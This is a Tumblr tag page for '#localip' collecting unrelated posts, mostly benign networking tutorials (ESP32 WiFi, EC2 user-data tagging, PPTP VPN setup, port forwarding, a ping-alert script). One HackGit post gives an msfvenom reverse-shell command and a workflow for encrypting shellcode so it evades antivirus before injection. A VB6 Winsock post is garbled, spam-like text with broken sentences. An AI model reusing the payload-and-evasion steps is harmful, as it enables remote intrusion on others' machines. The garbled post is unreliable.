Tumgik
#localip
pnwcomputers · 1 year
Photo
Tumblr media
You say it doesn't ping... But it pings! Pacific Northwest Computers www.linktr.ee/pnwcomputers 🤓 💻 🖥️ 🔋 🔌 🖱️ ⌨️ 💽 💾 🖨 👨‍🔧 #pnwcomputers #computerguy #repairshop #pacificnwcomputers #itguy #computers #computerrepair #computerrepairshop #computerrepairs #pcrepair #pcrepairs #pcrepairservice #networking #network #ipconfig #ping #localip #itsupport #itservicescompany #itservicecompany (at Vancouver, Washington) https://www.instagram.com/p/CqwO-M_viAP/?igshid=NGJjMDIxMWI=
5 notes · View notes
easylife66 · 2 years
Text
How to find out your local ip address on a windows or laptop
Open your pc or laptop
connect with internet
go to your pc or laptop display and open search bar
type "run" hit enter
type "cmd" hit ok
type "ipconfig"
now you see your local ip
youtube
0 notes
veworvt · 2 years
Text
Gambar program kasir vb6
Tumblr media
#Gambar program kasir vb6 how to#
Returns or sets the protocol, either TCP or UDP, used by the Winsock control. Read from and written to and is available at both design time and This property returns or sets the local port number. The LocalIP property returns the local host system IP address in theįorm of a string, such as 11.0.0.127. This is read-only property and is unavailable at the design time. The LocalHostName property returns the name of the local host system. This is a read-only property and is unavailable at design time. This property returns the number of bytes currently in the receiveīuffer. Tableīelow lists a number of popular and publicly accepted port numbers and Than that users have agreed to use them with certain applications. These standard port numbers have no inherent value other To make the job of communication easier, some port numbers have been The sending and receiving computers use this port to exchange data. That exists when two computers are in communication via TCP/IP.Īpplications use a port number as an identifier to other computers, both I think it would be better to talk about the Located on a machine different from the one that hosts the client In real life situations, database might be You will a database with this article, the database contains the item Request to the server and the server which will be connected to aĭatabase will retrieve the information requested by the client from theĭatabase and will return the requested information back to the client. Server will interact with each other to exchange data. Which will be a server and the other will be a client. Server environment, we will create two separate applications, one of
#Gambar program kasir vb6 how to#
This article, I am going to show how to use the winsock in a client
Tumblr media
0 notes
tatsumayakoshi · 5 years
Photo
Tumblr media
webMAN 1.47.06 MOD #modding #mods #modz #webserver #webman #webmanmod #ps3cfw #psxplace #cfw #customfirmware #server #code #coding #games #gaming #homebrew #app #application #localip #instagood #instagaming #instgames #tech #technology https://www.instagram.com/p/BeCSGI-H230/?utm_source=ig_tumblr_share&igshid=1t9wwpco4jsb5
0 notes
hackgit · 2 years
Text
AES_Shellcode_Encryptor This repository contains a tool that can encrypt all type of files and...
AES_Shellcode_Encryptor This repository contains a tool that can encrypt all type of files and give the encrypted output in the form of an encrypted shellcode. Process of encrypting #shellcode is very important for injection processes to #bypass signature based detection by the security controls. Example: 1. create a metasploit shellcode: msfvenom -p windows/shell_reverse_tcp LHOST=$LOCALIP LPORT=443 -f raw -o shellcode.bin 2. enceypt it with this tool: AES_Shellcode_Encryptor.exe shellcode.bin encrypted_code.txt mySecretEncryptionKey 3. add encrypted shellcode inside the injector 4. decrypt it with the key before injection @HackGit https://github.com/shaddy43/AES_Shellcode_Encryptor
Tumblr media
GitHub - shaddy43/AES_Shellcode_Encryptor: This repository contains a tool that can encrypt all type of files and give the encrypted… - GitHub This repository contains a tool that can encrypt all type of files and give the encrypted output in the form of an encrypted shellcode. Process of encrypting shellcode is very important for injecti...
0 notes
awsexchage · 5 years
Photo
Tumblr media
EC2 user-data を使ってNAME Tagを設定する(Windows) https://ift.tt/2MpZBVP
1. 前提条件
2. Windowsの場合 — 2.1. user-dataの設定方法 — 2.2. ハマったこと! — 2.3. スクリプトサンプル(user-data: NG) — 2.4. スクリプトサンプル(user-data: OK) — 2.5. user-dataが意図した通りに実行されない場合
3. 参考資料
前提条件
前回に引き続き、EC2のName Tag をOSのスクリプトから設定する方法を紹介します。お待たせしました! 今回は、PowerShellによるWindows Serverが対象となります。
想定されるシチュエーションとしては、AMIからEC2 起動時にuser-data にスクリプトを組み込むことで一意のName Tag を設定します。
Windows Server 2012 R2 の実行結果を元に記載しております。aws cli が使用できる環境が前提です。
前回まとめたLinux版は、下記の記事を参照ください。
前提条件今回は、EC2のName Tag をOSのスクリプトから設定する方法を紹介します。想定されるシチュエーションとしては、AMIからEC2 起動時にuser-data にスクリプトを組み込むことで一意のName Tag を設定します。スクリプトサンプルはLinux 版となります。aws cli ... EC2 user-data を使ってNAME Tagを設定する(Linux) | Oji-Cloud - Oji-Cloud
Windowsの場合
user-dataの設定方法
Windows のPowerShellをAdministratorで起動し、PowerShellのスクリプトが動作することを確認します。
次に、EC2インスタンス作成時の「インスタンスの詳細の設定」にて「高度な詳細」のユーザーデータに貼り付けます。 Windowsの場合、ポイントは<script>~</script>あるいは<powershell>~</powershell>のタグでスクリプトを囲むことです。
Tumblr media
ハマったこと!
WindowsのPowerShell は経験が浅いこともあり、ハマりました。
PowerShell単体で実行できることを確認しましたが、意図した通りに実行されません。ログファイルを調査したところ、下記のエラーを発見しました。
当初、Internet Explorerの設定やレースコンディションを疑いました。スクリプトの始めにsleep を追加、curl、catのエイリアスをInvoke-WebRequest、Get-Contentに置き換えましたが、解決しません。
試行錯誤した結果、エラーメッセージに記載されている「-UseBasicParsing」オプションを付加することで解決しました!
2019-09-24T05:46:43.560Z: Ec2HandleUserData: Message: The errors from user scripts: curl : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again. At C:\Program Files\Amazon\Ec2ConfigService\Scripts\UserScript.ps1:3 char:14 + $instanceid=(curl 'http://169.254.169.254/latest/meta-data/instance-id') + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotImplemented: (:) [Invoke-WebRequest], NotSupp ortedException + FullyQualifiedErrorId : WebCmdletIEDomNotSupportedException,Microsoft.Po werShell.Commands.InvokeWebRequestCommand curl : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again. At C:\Program Files\Amazon\Ec2ConfigService\Scripts\UserScript.ps1:7 char:11 + $localip=(curl 'http://169.254.169.254/latest/meta-data/local-ipv4') + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotImplemented: (:) [Invoke-WebRequest], NotSupp ortedException + FullyQualifiedErrorId : WebCmdletIEDomNotSupportedException,Microsoft.Po werShell.Commands.InvokeWebRequestCommand An error occurred (MissingParameter) when calling the CreateTags operation: The request must contain the parameter resourceIdSet
スクリプトサンプル(user-data: NG)
以下は、PowerShell単体では実行できますが、user-dataに設定した場合は意図した通りに実行されません。
# Instance IDを取得する $instanceid=(curl 'http://169.254.169.254/latest/meta-data/instance-id') # Private IPを取得する $localip=(curl 'http://169.254.169.254/latest/meta-data/local-ipv4') # NAME Tagを取得する $hostname=(cat "C:\tmp\ec2_name.txt") # 変更後のNAME Tagを作成する $newhostname="$hostname-$localip" # NAME Tagを更新する aws ec2 create-tags --resources $instanceid --tags "Key=Name,Value=$newhostname" --region ap-northeast-1
スクリプトサンプル(user-data: OK)
Linuxの場合は、jqコマンドを使用してNAME Tagを取得しましたが、Windowsの場合はjqコマンドがインストールされていないため、ローカルファイルにNAME Tagの値を持たせることにしました。EC2起動時に、プライベートIPを取得し、NAMT Tagに追加しています。
下記スクリプトは省略していますが、<powershell>~</powershell>のタグを忘れないようにしてください。
# Instance IDを取得する $instanceid=(Invoke-WebRequest 'http://169.254.169.254/latest/meta-data/instance-id' -UseBasicParsing) # Private IPを取得する $localip=(Invoke-WebRequest 'http://169.254.169.254/latest/meta-data/local-ipv4' -UseBasicParsing) # NAME Tagを取得する $hostname=(Get-Content "C:\tmp\ec2_name.txt") # 変更後のNAME Tagを作成する $newhostname="$hostname-$localip" # NAME Tagを更新する aws ec2 create-tags --resources $instanceid --tags "Key=Name,Value=$newhostname" --region ap-northeast-1
user-dataが意図した通りに実行されない場合
先ず、PowerShell単体でエラーなく、実行できることを確認します。PowerShellはAdministratorとして起動して、テストします。
user-dataのスクリプトに<script>~</script>あるいは<powershell>~</powershell>のタグが付加されていることを確認します。
EC2のroleに、EC2のFullAccess権限があることを確認します。(NAME Tagを更新するため)
ユーザーデータは初回起動時のみ実行されます。もし、起動するAMIがsysprepした後に取得したイメージでなければ、スクリプトに<persist>true</persist>を追記し、テストします。このオプションは初回起動時だけでなく、起動時に必ずuser-dataを実行するオプションです。
EC2起動後、下記ログファイルを確認し、エラーの有無や調査の手がかりを見つけます。
C:\Program Files\Amazon\Ec2ConfigService\Logs\Ec2ConfigLog.txt
参考資料
今回のスクリプトでは、EC2のメタデータを読み込み、EC2のInstance IDやPrivate IPを取得しています。LinuxおよびWindowsでメタデータを読み込む方法は、下記の記事を参考にしてください。
概要EC2のインスタンスメタデータ(meta-data)およびユーザーデータ(user-data)は、インスタンス内からのみアクセス可能なインスタンスに関するデータです。インスタンスにアクセスできるユーザーなら誰でもそのメタデータおよびユーザーデータを参照できます。そ... EC2のmeta-dataとuser-dataの使い方 | Oji-Cloud - Oji-Cloud
起動時に Windows インスタンスでコマンドを実行する方法について説明します。 Windows インスタンスでの起動時のコマンドの実行 - Amazon Elastic Compute Cloud - docs.aws.amazon.com
元記事はこちら
「EC2 user-data を使ってNAME Tagを設定する(Windows)」
October 09, 2019 at 02:00PM
0 notes
dfrobots-blog · 5 years
Text
ESP32 Arduino Tutorial: Getting station interface hostname
The tests from this esp32 tutorial were done using a DFRobot’s
ESP32 module
integrated in a
ESP32 development board
.
IntroductionIn this tutorial we will learn how to obtain the hostname of the ESP32, using the Arduino core.To test this functionality, we will first connect the ESP32 to a WiFi network and then obtain the hostname.After that, we will ping the ESP32 from another machine connected to the same network using the obtained hostname (as already covered here, the ESP32 natively answers to ping requests when connected to a network).The hostname should be correctly resolved to the ESP32 IP and thus the machine should be able to ping the it and receive an answer.Note that if we don’t explicitly set the hostname of the ESP32, then it will default to “espressif“, as can be seen here. Thus, since we are only going to cover how to obtain the hostname and not how to set it, it is expected that we obtain “espressif” as result.The tests from this tutorial were done using a DFRobot’s
ESP32 module
integrated in a
ESP32 development board
.
The codeWe will start the code by including the WiFi.h library, so we can connect the ESP32 to a WiFi network.
#include "WiFi.h"
Naturally, we will also need the WiFi network credentials, more precisely the network name and password.
const char* ssid = "yourNetworkName"; const char* password = "yourNetworkAddress";
Moving on to the Arduino setup, we will initialize the serial interface, so we can output the hostname we will obtain.
Serial.begin(115200);
Then we will call the begin method on the WiFi extern variable, to start the connection to the WiFi network. This method receives as first input the network name and as second input its password.
WiFi.begin(ssid, password);
Since the connection will be performed asynchronously, we will poll its status until it is equal to the enumerated value WL_CONNECTED. We can obtain the status of the connection by calling the status method on the WiFi variable.
while (WiFi.status() != WL_CONNECTED) {    delay(1000);    Serial.println("Connecting to WiFi.."); }
After the previous loop ends, it means that the ESP32 is connected to the WiFi network. So, we will first obtain the local IP assigned to it by calling the localIP method on the WiFi extern variable.
Serial.println(WiFi.localIP());
Finally, to obtain the hostname, we simply need to call the getHostname method of the WiFi variable. This method takes no arguments and returns as output the hostname as a string.You can check the implementation of this method here. Under the hood, this method calls the
tcpip_adapter_get_hostname
, a lower level function from the IDF framework.
Serial.println(WiFi.getHostname());
The final code can be seen below.
#include "WiFi.h" const char* ssid = "yourNetworkName"; const char* password =  "yourNetworkAddress"; void setup(){  Serial.begin(115200);  WiFi.begin(ssid, password);  while (WiFi.status() != WL_CONNECTED) {    delay(1000);    Serial.println("Connecting to WiFi..");  }  Serial.println(WiFi.localIP());  Serial.println(WiFi.getHostname()); } void loop(){}
Testing the codeTo test the code, start by compiling it and uploading it to your device using the Arduino IDE. When the procedure finishes, open the Arduino IDE serial monitor and wait for the WiFi connection to be established.After that, you should get an output like the one on figure 1, which shows the hostname getting printed to the console. Above, we also have the local IP assigned to the device on the network.
Tumblr media
Figure 1 – Output of the program.Next we will try to send a ping to the ESP32 using the hostname instead of the IP (on this previous tutorial we have pinged the ESP32 using its IP). To do it, open a command line on a machine connected to the same network and send the following command:
ping espressif
As shown in figure 2, the hostname used in the command should be resolved to the actual IP of the ESP32 on the network (note that it matches the IP obtained on figured 1). Thus, the ESP32 should successfully answer the ping request.
Tumblr media
Figure 2 – Pinging the ESP32 using its hostname.
https://techtutorialsx.com/2019/01/17/esp32-arduino-getting-station-interface-hostname/
0 notes
zhangliangdong · 4 years
Text
windows系统端口转发
端口转发 netsh interface portproxy add v4tov4 listenport=listenport listenaddress=listenaddress connectport=dport connectaddress=dip
开启防火墙 netsh advfirewall firewall add rule name=”firewall-name” protocol=TCP dir=in localip=localip localport=localport action=allow
实例: 添加端口转发 netsh interface portproxy add v4tov4 listenport=5900 listenaddress=0.0.0.0 connectport=5900 connectaddress=192.168.100.176
View On WordPress
0 notes
havadadurdum · 5 years
Text
Digital Ocean - Ubuntu Üzerine VPN Kurulumu
Digital Ocean – Ubuntu Üzerine pptp VPN Kurulumu nasıl yapılır ve ayarlarlamaları nasıl olmalıdır. Ubuntu üzerine kurulum nasıl yapılır ve detaylar nelerdir gibi başlıklara cevap vermeye çalışacağız. Yani bu makale ile temel olarak aşağıdaki iki şeyi yapacağız.
pptp kurulumu ve ayarları (Point-to-Point Tunneling Protocol – Noktadan noktaya tünel protokolü)
ufw kurulumu ve ayarları (The Uncomplicated Firewall, iptables da kullanılabilir fakat basit olması için ufw kullanacağız)
İlk olarak sunucunuzun yönetim ekranına girin. Aşağıdaki ekran görüntüsündeki gibi, sunucu isminizin hemen yanında yer alan “Console Access” tuşuna tıklayın.
  Açılacak ekranda bir süre bekleyin. Orta kısımda siyah bir dikdörtgen belirecektir. Eğer bir süre beklediniz ve siyah dikdörtgen içinde hiç bir yazı karşınıza çıkmazsa, dikdörtgenin içine tıklayıp herhangi bir tuşa basın. Giriş bilgilerinizi soran bir ekran karşınıza çıkacaktır. Hesabınızla giriş yapın.
Giriş yaptıktan sonra ilk iş eğer yüklü değilse pptp ve ufw yüklemek olacak. Bunun için komut satırına aşağıdaki komutu yazın ve enter tuşuna basın.
sudo apt-get -y install pptpd ufw
Firewall kurduğumuz için ihtiyacımız olan portlara izin vermemiz gerekecek. Eğer sunucusunu başka işler için de kullanıyorsanız (örneğin web sunucusu, genelde port80. MySQL sunucusu, genelde port 3306 gibi) bu portları da açmanız gerekcektir. Port açmak için kullanacağımız komut ufw allow komutudur. Biz 22 ve 1723 numaralı portları açacağız. 22 SSH portudur, bu portu açmazsak sunucumuza tekrar konsol erişimi sağlayamayabilriiz. 1723 ise ppt protokolünün kullandığı porttur. Portlara izin verdikten sonra ufw enable komutu ile Firewall’u etkin hale getiriyoruz.
sudo ufw allow 22 sudo ufw allow 1723 sudo ufw enable
Sırada pptpd ayarları var. VPN sunucunuza erişecek işletim sistemleri ile ilgili ufak bir ayar yapmamız gerekiyor. Bunun için /etc/ppp/pptpd-options dosyasını düzenleyeceğiz. Favori metin editörünüz ile dosyayı açın. (Benimki nano, dosyayı açmak için sudo nano /etc/ppp/pptpd-options yazıp enter’a basıyorum.) İşletim sistemi gözetmeksizin bağlantı sağlayabilmek için bir kaç satırı geçersiz kılmamız gerekiyor. Bunun için satırları silebilirsiniz ama daha iyisi, satırların başında # işareti koyarak o satırın işlenmemesini sağlayabilirsiniz. Aşağıdaki satırları bulup başlarına #işareti koyun.
refuse-pap refuse-chap refuse-mschap
Hazır pptpd ayarlarıyla oynuyorken VPN’e bağlıyken kullanabileceğimiz DNS sunucularını da tanımlayalım. ms-dns ile başlayan satırları bulun, varsa başlarındaki #işaretlerini kaldırın ve DNS adreslerini girin. Google DNS’leri için örnek aşağıdaki gibi olmalıdır;
ms-dns 8.8.8.8 ms-dns 8.8.4.4
Dosyayı kaydedin ve metin editöründen çıkın. (Nano kullanıyorsanız dosyayı kaydetmek için CTRL-O (windows) ya da kntrl-O (mac) yapıp, üzerine yazayım mı sorusuna Evet/Yes cevabı verin. Çıkmak için de CTRL-X / kntrl-X tuş kombinasyonunu kullanabilirsiniz.)
Sırada /etc/pptpd.conf dosyasında yapacağımız ufak bir değişiklik var. Dosyayı metin editörünüz ile açın (Örn: sudo nano /etc/pptpd.conf) ve localip, remoteipdeğerlerinin yanındaki IP adreslerini silip, sunucunuzun IP adresini yazın. remoteipdeğerinde direkt sunucuzun IP adresi yerine IP adresinizin son hanesi için bir aralık verebilirsiniz. Sunucunuz her zaman kendi IP adresi ile internete çıkmıyor olabilir. Bu aralığı tanımlamanız zayesinde daha güvenli sularda yüzüyor olursunuz. Dosyayı kaydedin ve editörden çıkın.
localip 36.23.123.149 remoteip 36.23.123.99-199
Sıra geldi VPN sunucumuzda kullanmak üzere hesap tanımlamaya. /etc/ppp/chap-secrets dosyasını editörünüzde açın. (sudo nano /etc/ppp/chap-secrets) Hesap tanımlama biçimi aşağıdaki gibidir;
[Kullanıcı adı] [Servis] [Parola] [İzin verilen IP adresi]
Her bir satıra bir hesap denk gelecek şekilde birden çok hesap açabilirsiniz. Bir hesap ile aynı anda bir bağlantı kurulabileceğinden evinizdeki çeşitli cihazlar için birden çok hesap oluşturabilirsiniz. Örneğin;
telefon pptpd parola * tablet pptpd parola *
Dosyayı kaydedip çıkın ve pptpd servisini yeniden başlatın (sudo service pptpd restart)
IPv4 için IP yönlendirmesini etkinleştirmemiz gerekiyor. Bunun için/etc/sysctl.conf dosyasını düzenlemeliyiz. Dosyayı metin editöründe açıp (sudo nano /etc/sysctl.conf) aşağıdaki satırın başındaki # işaretini kaldırın.
net.ipv4.ip_forward=1
Dosyayı kaydedip çıktıktan sonra sudo sysctl -p komutu ile ayar dosyasını yeniden yükleyin.
ufw için de bir kaç ayar yapmamız gerekiyor. /etc/default/ufw dosyasında yer alanDEFAULT_FORWARD_POLICY ayarını DROP yerine ACCEPT olarak değiştirin.
/etc/ufw/before.rules dosyasını açın, *filter satırınden hemen öncesine aşağıdaki satırları kopyalayıp yapıştırın (elbette kendi ip adresiniz ile. IP adresinizin son bölümünü 0 olarak değiştirin)
# NAT table rules *nat :POSTROUTING ACCEPT [0:0] # Allow forward traffic to eth0 -A POSTROUTING -s 36.23.123.0/24 -o eth0 -j MASQUERADE # Process the NAT table rules COMMIT
Dosyayı kaydedip çıktıktan sonra sudo ufw disable && sudo ufw enable yaparak firewall’ı baştan başlatın.
Tebrikler! VPN sunucunuz kullanıma hazır.
0 notes
davidnkapp · 7 years
Text
Use a Shell Script and Growl/Notifier to Report a Router's Status to Mac OS X via Notification Center
See below for script and howto, as my goal was to create a script that would notify me using the built in OSX or Growl alerts when pings drop to my internal router or external DNS.
I currently keep constant ping checks going via Terminal to test the quality and reliability of the uptime of both my internal router and an external DNS name.  (usually something like ping 192.168.1.1 and ping 8.8.8.8 or ping google.com). 
But the problem historically was that I was not notified when there was an issue and as such I found and modified thisscript that now launches on startup, pings my default internal router IP and sends me alerts via screen pop-up when pings fail. 
I found an old script on MacOSX hints that zionthelion73 created that performed what I wanted, however they used the Growler-notify which has since been removed from OSX and now has to be purchased.  I modified the script only slightly to allow the free to use terminal-notifier tool so it properly puts a notification and time in my notification center window.
1.You will need:  terminal-notifier, to install bring up terminal and input:
 sudo gem install terminal-notifier 
Tumblr media
(Note: my command line and my computer name is Dell-T3WXB so that my Mac shows up in logs as something really boring and not “David’s Macbook Pro”.)
2. Get this script, name it whatever you would like, and place it somewhere permanent (in this example using ~/Documents/scripts/pingrouter.sh)
#!/bin/sh
#Growl my Router alive!
#2010 by zionthelion73 [at] gmail . com
#use it for free
#redistribute or modify but keep these comments
#not for commercial purposes
iconpath="/path/to/router/icon/file/internet.png"
# path must be absolute or in "./path" form but relative to growlnotify position
# document icon is used, not document content
#http://hints.macworld.com/article.php?story=20100405020924490
#updated by David Knapp 03/25/2017 for terminal-notifier http://www.davidknapp.me with original growl lines commented out
#changed typos: avaiable > available & avaiability > availability & porpouse > purpose
#terminal-notifer isntalled via command: sudo gem install terminal-notifier (assumes Ruby)
#ref: http://osxdaily.com/2012/08/03/send-an-alert-to-notification-center-from-the-command-line-in-os-x/
# Put the IP address of your router here
localip=192.168.7.1
clear
#echo 'Router avaiability notification with growlnotify'
echo 'Router availability notification with terminal-notifier'
#variable
available=false
com="################"
#comment prefix for logging purpose
while true;
do
if $available
then
 echo "$com 1) $localip available $com"
 echo "1"
 while ping -c 1 -t 2 $localip
   do
     sleep 5
   done
#  growlnotify  -s -I $iconpath -m "$localip is offline"
terminal-notifier -message "$localip is offline " -title "OFFLINE-ERROR"
 available=false
else
 echo "$com 2) $localip not available $com"
 #try to ping the router until it come back and notify it
 while !(ping -c 1 -t 2 $localip)
 do
  echo "$com trying.... $com"
  sleep 5
 done
 echo "$com found $localip $com"
#  growlnotify -s -I $iconpath -m "$localip is online"
terminal-notifier -message "$localip is BACK ONLINE AND GOOD " -title "Back Online"
 available=true
fi
sleep 5
done
3. Change permissions on the file in Terminal: 
chmod ugo+x pingcheck.sh
4. Edit File and input your router IP in place of 192.168.7.1 (I like to use nano via Terminal, but any editor will suffice)
Tumblr media
5. To run the script drop down to terminal and launch with:  sh ~/Documents/scripts/pingcheck.sh or better yet run it at login.
5b. Run at login: change the file so it opens w/ terminal: Right click in finder, Open With.. > Other... > choose Utilities > Terminal and check “always open with”
Tumblr media
And then add this file to your login items in User Preferences.
And that’s it, now notifications come in both on screen and in notification center when the router times out and also when it comes back online:
Tumblr media
Reference and Credit: http://osxdaily.com/2012/08/03/send-an-alert-to-notification-center-from-the-command-line-in-os-x/
http://hints.macworld.com/article.php?story=20100405020924490
0 notes
dfrobots-blog · 5 years
Text
ESP32 Arduino Tutorial: Getting started with WiFi
The objective of this ESP32 Arduino Tutorial is to explain how to get started using the WiFi functionalities of the ESP32, more precisely how to scan surrounding WiFi networks and how to connect to a specific WiFi network. All the tests performed here were made on a DFRobot’s
ESP32 module
, integrated in a
ESP32 development board
.
Introduction
The objective of this post is to explain how to get started using the WiFi functionalities of the ESP32, more precisely how to scan surrounding WiFi networks and how to connect to a specific WiFi network.This post will also cover getting some parameters, such as the local IP of the ESP32 when connected to the WiFi network, and also its MAC address. We will also cover how to disconnect from the WiFi network.Note that this tutorial sits on top of some
previous tutorials
that covered some aspects of connecting to a WiFi network with the ESP32. Nevertheless, this post has a much more vast set of functionalities used and it has the objective to serve as a getting started guide for WiFi on the ESP32, since it covers most of the functions that we typically perform when starting experimenting with the device.If you are interested in a MicroPython version of how to connect to the a WiFi network with the ESP32, please consult
this
post. If you haven’t yet configured the Arduino IDE to work with the ESP32, please consult
this
post.All the tests performed here were made on a DFRobot’s
ESP32 module
, integrated in a
ESP32 development board
. If you are using a ESP-WROOM-32 module alone, you can check
here
a guide on how to upload programs to the device using the Arduino IDE.
The setup function
The first thing we are going to do is including the WiFi.h library, which will allow us to connect to a WiFi network, amongst many other functionalities. You can check the header file definition
here
and the implementation file
here
.For those who have a background using the ESP8266, note that this time the header file is generically called WiFi, as opposed to the ESP8266 library, which was named ESP8266WiFi.h.
#include <WiFi.h>
An important point to note is that there’s an
extern variable
defined in the header file called
WiFi
. This is a variable of
WiFi
class and as we will see, we will use it to access much of the WiFi functionality.Next we will declare two global variables to hold our WiFi network credentials, more precisely the network name (SSID) and the password. This way, we can easily access and modify these variables. Note that you need to change the values by the ones that apply to your network.
const char* ssid = "yourNetworkName"; const char* password = "yourNetworkPassword";
Now we will move on to the Arduino setup function, where we will run all the remaining code. Since this is more of a network configuration tutorial, we will not need to use the main loop.In the first line of our setup function, we will open a serial connection, so we can output the results of our program to the Arduino IDE serial monitor. To do so, we just need to call the
begin
function of the Serial object, passing as input the baud rate of the connection, in bits per second.We will use a value of 115200 for the speed of the connection. It is important to retain this value in mind since we are going to need to respect it later, when establishing a serial connection to the ESP32 using the serial monitor of the Arduino IDE.
Serial.begin(115200);
After that, we will call two functions that we will define in the next sections. This way, we will encapsulate the code in different reusable functions, so it is much easier to read or use in other projects.The first function, called scanNetworks, will scan the surrounding available WiFi networks and print some information about them. The second one, called connectToNetwork, will connect the device to a WiFi network.
scanNetworks(); connectToNetwork();
For now we will treat this functions as black boxes and assume they will work. After being connected to a network, our ESP32 should have a local IP assigned. To get it, we just need to call the
localIP
method of the WiFi extern variable.
Serial.println(WiFi.localIP());
It’s important to note that the local IP will depend on the network to which we are connected and may change on different connections.Other interesting value that we can get is the MAC. So, to get the MAC address of the ESP32, we simply need to call the
macAddress
method, again on the WiFi extern variable.
Serial.println(WiFi.macAddress());
Note that this value is from the network interface of the ESP32, doesn’t change and can be retrieved even if we are not connected to a WiFi network.To finalize the setup function, we will disconnect from the WiFi network. To do so, we just need to call the
disconnect
method of the WiFi variable. Note that this method receives as input a flag that allows to disable the station operation mode, by calling
this
method in its implementation.Although this parameter value is set to false by default, we will pass a value of true to disable the WiFi. After that we will call the method to get the IP again, to confirm that we are disconnected from the network and no longer have an IP assigned.
WiFi.disconnect(true); Serial.println(WiFi.localIP());
The full code for the setup function can be seen bellow. Remember to change the global variables the the credentials of your WiFi network. Note that splitting the code into functions gives us a much clearer setup function, allowing to easily understand what we are doing without even looking to the implementation of the functions.
void setup() {  Serial.begin(115200);  scanNetworks();  connectToNetwork();  Serial.println(WiFi.macAddress());  Serial.println(WiFi.localIP());  WiFi.disconnect(true);  Serial.println(WiFi.localIP()); }
Scanning for WiFi networks
Before connecting to an WiFi network, we will do a scan of the surrounding networks. Along with it, we will print some parameters for those networks, such as the network name (SSID), the signal strength, the MAC and the encryption type. As said before, this will be implemented in a function called scanNetworks.To start performing a scan of networks, we just need to call the
scanNetworks
function of the previously mentioned WiFi extern variable. This call will initiate a scan and return the number of networks found upon a successful execution.Note that this function receives two Boolean arguments which indicate if the scan should be performed in asynchronous mode and if hidden networks should be shown. Note however that in the
header file
of the class where the function is implemented both of the arguments have default values of false, so we can call the function in our code without passing any input parameter. For simplicity, that’s what we will do.
int numberOfNetworks = WiFi.scanNetworks();
Note that we stored the number of networks found in a variable. This will be needed for iterating the data structures where the information about those networks will be stored.So, after the scanning is performed, we can access the parameters of each network with the functions shown
here
. Note that all of them receive as argument an integer with the number of the network, from 0 to the total number of networks detected minus 1.In our code we will get and print the network name (SSID), the MAC address, the signal strength (RSSI) and the encryption type. Note however that there are also functions to retrieve the channel of the networks.But before proceeding with that, we need to take in consideration that the encryption type is returned as an enum, which is defined
here
. So, we will define an auxiliary function that will receive the value of this enum and return a textual description indicating the encryption type. This way, we get a human readable result rather than an integer.So, this function receives as input a variable of type wifi_auth_mode_t, which is the previously mentioned enum, and simply does a switch case that returns the textual description of each possible value. You can check bellow the implementation.
String translateEncryptionType(wifi_auth_mode_t encryptionType) {  switch (encryptionType) {    case (WIFI_AUTH_OPEN):      return "Open";    case (WIFI_AUTH_WEP):      return "WEP";    case (WIFI_AUTH_WPA_PSK):      return "WPA_PSK";    case (WIFI_AUTH_WPA2_PSK):      return "WPA2_PSK";    case (WIFI_AUTH_WPA_WPA2_PSK):      return "WPA_WPA2_PSK";    case (WIFI_AUTH_WPA2_ENTERPRISE):      return "WPA2_ENTERPRISE";  } }
Now that we have a function that allows to translate the encryption types to strings, we can proceed on iterating the data. So, we do a loop using our number of networks variable as stopping condition and calling the previously mentioned functions to get the information of each scanned network.This is shown bellow, with some additional prints to make the output more readable for the user. Note also the call to the translateEncryptionType function defined before.
for (int i = 0; i < numberOfNetworks; i++) {    Serial.print("Network name: ");    Serial.println(WiFi.SSID(i));    Serial.print("Signal strength: ");    Serial.println(WiFi.RSSI(i));    Serial.print("MAC address: ");    Serial.println(WiFi.BSSIDstr(i));    Serial.print("Encryption type: ");    String encryptionTypeDescription = translateEncryptionType(WiFi.encryptionType(i));    Serial.println(encryptionTypeDescription);    Serial.println("-----------------------");  }
Check the full function bellow. Note that there are some additional prints for making the output more complete.
void scanNetworks() {  int numberOfNetworks = WiFi.scanNetworks();  Serial.print("Number of networks found: ");  Serial.println(numberOfNetworks);  for (int i = 0; i < numberOfNetworks; i++) {    Serial.print("Network name: ");    Serial.println(WiFi.SSID(i));    Serial.print("Signal strength: ");    Serial.println(WiFi.RSSI(i));    Serial.print("MAC address: ");    Serial.println(WiFi.BSSIDstr(i));    Serial.print("Encryption type: ");    String encryptionTypeDescription = translateEncryptionType(WiFi.encryptionType(i));    Serial.println(encryptionTypeDescription);    Serial.println("-----------------------");  } }
Connecting to a WiFi network
Now we are going to implement the connectToNetwork function, which will be responsible for handling the connection of the ESP32 to a specified network.Note that there will be no link in the code with the networks obtained in the previous scan, although it is expected that the network that we want to connect to was listed in the previous call. Otherwise, it will most likely mean that it is not in the ESP32 range.So start the connection, we simply call the
Begin
method on the previously mentioned WiFi class, passing as input both the network name and password defined in global variables.Although for simplicity we are accessing the global variables directly, passing those values as input of the connectToNetwork would be more adequate in terms of reusability~of the function.
WiFi.begin(ssid, password);
Since the connection may take a while, we will next poll the WiFi variable to check when it is finished. To do so, we call the
Status
method, which will return a structure of type wl_status_t, defined
here
. The value we want to check for is WL_CONNECTED.The code for this is shown bellow. Note that we are adding a delay between each iteration of the loop, to avoid constantly checking the variable. Also, this code will indefinitely poll for the connection until success, for simplicity. Naturally, for a more robust solution, you can create some sort of maximum poll attempts mechanism.
while (WiFi.status() != WL_CONNECTED) {    delay(1000);    Serial.println("Establishing connection to WiFi.."); }
The final code for the whole function can be seen bellow.
void connectToNetwork() {  WiFi.begin(ssid, password);  while (WiFi.status() != WL_CONNECTED) {    delay(1000);    Serial.println("Establishing connection to WiFi..");  }  Serial.println("Connected to network"); }
The final code
You can check the full source code bellow, for an easy copy and paste. Don’t forget to change the values of the global variables by the credentials of your WiFi network. Also note that as said in a previous section, we are not going to use the main loop function, so we can leave it empty.
